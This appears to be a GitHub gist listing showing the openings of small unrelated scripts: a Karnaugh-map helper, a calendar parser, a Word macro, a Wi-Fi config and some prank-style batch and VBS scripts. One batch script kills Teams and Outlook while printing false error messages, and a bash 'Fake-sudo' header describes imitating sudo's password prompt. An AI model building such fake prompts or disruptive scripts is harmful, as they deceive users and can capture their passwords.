This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import numpy as np | |
vars = [['A','A','~A','~A'],['B','B','~B','~B'],['~C','C','C','~C'],['~D','D','D','~D']] | |
def parseHex(hex): return (np.argwhere(np.array([[int(y) for y in x] for x in [list(bin(int(char, 16))[2:].zfill(4)) for char in hex]]) == 1).tolist()) # return int matrix with hex string | |
def getCoordLetter(coord): return [vars[0][coord[1]],vars[1][coord[0]],vars[2][coord[1]],vars[3][coord[0]]] #return letters from coordinates [1,1] = [A,B,C,D] | |
def getTerm(points): # return a boolean operation given coordinates | |
letters = sorted(list(set([element for point in points for element in getCoordLetter(point)]))) | |
return "".join(sorted([letter for letter in letters if not("~"+letter in letters or (len(letter)==2 and letter[1] in letters))], key=lambda x: x.strip('~'))) | |
def hasNum(var, pos, times, clist): return sum(1 for coord in clist if (coord[pos]==var)) >= times , [coord for coord in clist if (coord[pos]==var)] | |
def checkCond(conds,aux): | |
global coords, str |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// ==UserScript== | |
// @name Sparrows Scroll Injection | |
// @namespace http://alexlynd.com | |
// @version 1.0 | |
// @description stupid script to fixing scrolling when adblock is enabled on sparrowslockpicks.com | |
// @author Alex Lynd | |
// @match https://www.sparrowslockpicks.com/* | |
// @grant none | |
// ==/UserScript== |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
months = ["January","February","March","April","May","June","July","August","September","October","November","December"] | |
from datetime import date, timedelta | |
import re | |
c = open("calendar.txt", "r") | |
text = c.read() | |
c.close() | |
days = [day[0] for day in re.findall(r"(([A-Z]{1,3}[a-z]{0,3}[0-9]|Off|Sp))", "".join(str(x) for x in [sch[0] for sch in re.findall(r"(([A-Z]{1,3}[a-z]{0,3}[0-9]|Off|Sp){15}|([A-Z]{1,3}[a-z]{0,3}[0-9]|Off|Sp){5})", text)]))] | |
span = [datespan[0] for datespan in re.findall(r"((August|September|October|November|December|January|February|March|April|May) [0-9]{1,2}-[0-9]{1,2}|(August|September|October|November|December|January|February|March|April|May) [0-9]{1,2}-(August|September|October|November|December|January|February|March|April|May) [0-9]{1,2})",text)] |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sub checkBoxAppend() | |
Dim lineCnt As Integer | |
lineCnt = Selection.Range.Sentences.Count | |
Dim Words | |
For Words = lineCnt To 1 Step -1 ' | |
Selection.MoveStartUntil "&", wdBackward | |
Selection.MoveLeft 1 | |
Dim objCC As ContentControl | |
Set objCC = ActiveDocument.ContentControls.Add(wdContentControlCheckBox) | |
objCC.Checked = False |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
ctrl_interface=DIR=/var/run/wpa_supplicant GROUP=netdev | |
update_config=1 | |
country=US | |
network={ | |
ssid="network" | |
psk="password" | |
key_mgmt=WPA-PSK | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
@echo off | |
set iter=100 | |
:loop | |
md %userprofile%\Desktop\%iter% | |
set /a iter=iter-1 | |
if %iter%==0 goto exit | |
goto loop | |
:exit |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
@echo off | |
title Task launcher | |
color f0 | |
set list=teams.exe, outlook.exe | |
:l | |
for %%i in (%list%) do ( | |
tasklist /FI "IMAGENAME eq teams.exe" 2>NUL | find /I /N "teams.exe">NUL | |
if "%ERRORLEVEL%"=="0" echo Do not close this window attempting re-launch && timeout 10 && taskkill /F /IM %%i | |
echo Error Launching Task "Microsoft Teams" | |
timeout 2 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
set oShell = WScript.CreateObject("WScript.Shell") | |
oShell.run"%SystemRoot%\System32\SndVol.exe" | |
WScript.Sleep 200 | |
oShell.SendKeys("{PGUP}") | |
oShell.SendKeys("{PGUP}") | |
oShell.SendKeys("{PGUP}") | |
oShell.SendKeys("{PGUP}") | |
oShell.SendKeys("{PGUP}") | |
oShell.SendKeys("%{F4}") | |
oShell.Run "chrome.exe" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# NAME: flash-primary-screen.sh | |
# PATH: ~/bin | |
# DESC: Flashes primary screen colours to alert timer has ended. | |
# DATE: November 15, 2018 | |
# NOTE: Written for: https://askubuntu.com/a/1092835/307523 | |
# I'm looking for a command to flash screens (if possible in colors) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# | |
# Fake-sudo | |
# | |
# This program imitates the behavior | |
# of the "sudo" command. | |
# | |
readonly INPUT_MESSAGE="[sudo] password for ${USER}: " | |
readonly MAXIMUM_ATTEMPTS=3 |